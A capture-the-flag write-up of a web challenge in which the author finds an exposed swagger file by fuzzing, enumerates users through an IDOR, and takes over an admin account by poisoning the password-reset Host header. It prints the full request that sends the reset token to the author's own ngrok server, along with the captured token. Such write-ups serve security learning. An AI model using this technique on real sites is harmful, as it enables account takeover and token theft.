Statement:

The GCC team has designed a panel that allows you to get free cider. Unfortunately, registration closed just before the start of the CTF… So you’re on your own to get your free bowls of cider!

Author: Mika


When I visit the website, I see a login page and a password reset feature :

cider cider1

Inspecting the source code, I notice the following points :

  • Call to an API /api/v1/<action>
  • The next comment :
    <!-- 
                                Note for admins : 
    For the sake of security, remove the bloody swagger UI from the production build.
    -->

I decide to fuzz on /static/ to find the API documentation :


        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0
________________________________________________

 :: Method           : GET
 :: URL              : http://worker02.gcc-ctf.com:10434/static/FUZZ
 :: Wordlist         : FUZZ: /home/sanlokii/git/SecLists/Fuzzing/fuzz-Bo0oM-friendly.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

swagger.json            [Status: 200, Size: 3306, Words: 1649, Lines: 142, Duration: 53ms]
:: Progress: [4089/4089] :: Job [1/1] :: 198 req/sec :: Duration: [0:00:14] :: Errors: 0 ::

I found the file swagger.json with the following content :

{
  "swagger": "2.0",
  "info": {
    "title": "GCC - API",
    "version": "1.0.0"
  },
  "paths": {
    "/api/v1/register": {
      "post": {
        "summary": "Disable Registration",
        "responses": {
          "403": {
            "description": "Registration is disabled at the moment."
          }
        }
      }
    },
    "/api/v1/login": {
      "post": {
        "summary": "User Login",
        "parameters": [
          {
            "name": "body",
            "in": "body",
            "required": true,
            "schema": {
              "type": "object",
              "properties": {
                "username": {
                  "type": "string"
                },
                "password": {
                  "type": "string"
                }
              }
            }
          }
        ],
        "responses": {
          "200": {
            "description": "Login successful.",
            "schema": {
              "type": "object",
              "properties": {
                "message": {
                  "type": "string"
                }
              }
            }
          },
          "400": {
            "description": "Invalid request."
          },
          "401": {
            "description": "Invalid credentials."
          },
          "404": {
            "description": "User not found."
          }
        }
      }
    },
    "/api/v1/reset-password": {
      "post": {
        "summary": "Reset Password. An antivirus scans every generated link.",
        "parameters": [
          {
            "name": "body",
            "in": "body",
            "required": true,
            "schema": {
              "type": "object",
              "properties": {
                "username": {
                  "type": "string"
                }
              }
            }
          }
        ],
        "responses": {
          "200": {
            "description": "Password reset link sent successfully.",
            "schema": {
              "type": "object",
              "properties": {
                "success": {
                  "type": "boolean"
                },
                "message": {
                  "type": "string"
                }
              }
            }
          },
          "400": {
            "description": "Invalid request or couldn't generate reset request."
          },
          "404": {
            "description": "User not found."
          }
        }
      }
    },
    "/api/v1/user/{user_id}": {
      "get": {
        "summary": "Get User by ID",
        "parameters": [
          {
            "name": "user_id",
            "in": "path",
            "required": true,
            "type": "integer"
          }
        ],
        "responses": {
          "200": {
            "description": "User found.",
            "schema": {
              "type": "object",
              "properties": {
                "username": {
                  "type": "string"
                },
                "id": {
                  "type": "integer"
                },
                "admin": {
                  "type": "boolean"
                }
              }
            }
          },
          "404": {
            "description": "User not found."
          }
        }
      }
    }
  }
}

In summary, we have the endpoints below :

  • /api/v1/register
  • /api/v1/login
  • /api/v1/reset-password
  • /api/v1/user/{user_id}

The endpoint /api/v1/user/{user_id} attracts my attention and suggests the presence of an IDOR flaw.

To confirm my idea, I make a GET request on ID 1 to see the response :

curl "http://worker02.gcc-ctf.com:10434//api/v1/user/1"

{"admin":false,"id":1,"username":"brian_miller64"}

I then retrieve the list of all users by fuzzing the ID :

cider2

After recovering various user accounts with the admin role, I spent several hours looking for a way to exploit this IDOR.

While searching for documentation on a password reset exploit, I found the following information :

Attackers may manipulate the Host header during password reset requests to point the reset link to a malicious site … Leads to potential account takeover by leaking reset tokens to attackers.

To exploit this vulnerability, I set up a local web server with python and use ngrok to expose it :

# webserver setup
python3 -m http.server 80

# webserver exposition
ngrok http 80 --scheme http

I then make the POST request to reset the password of an admin account, modifying the Host header to match my web server :

POST /api/v1/reset-password HTTP/1.1
Host: b03d-2a01-cb08-8374-8800-a0d6-f570-d55c-8e4e.ngrok-free.app
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 30
Origin: http://worker02.gcc-ctf.com:10434
DNT: 1
Connection: close

{"username":"carla_thomas147"}

The target server returns the response directly to my web server, allowing me to retrieve the token :

127.0.0.1 - - [02/Mar/2024 14:21:36] "GET /reset?token=3aff821c-355c-40d3-82ee-c28e8b2dff2f HTTP/1.1" 404 -

I perform the GET request on the /reset endpoint with the recovered token in order to reset the password of an admin account :

cider3

Now that I’ve got the username/password, all I need to do is retrieve the flag once I’m authenticated.

Flag: GCC{P@ssw0rd_RST_Poison1nG_R0ck$!}

Thanks to Mika for this interesting challenge !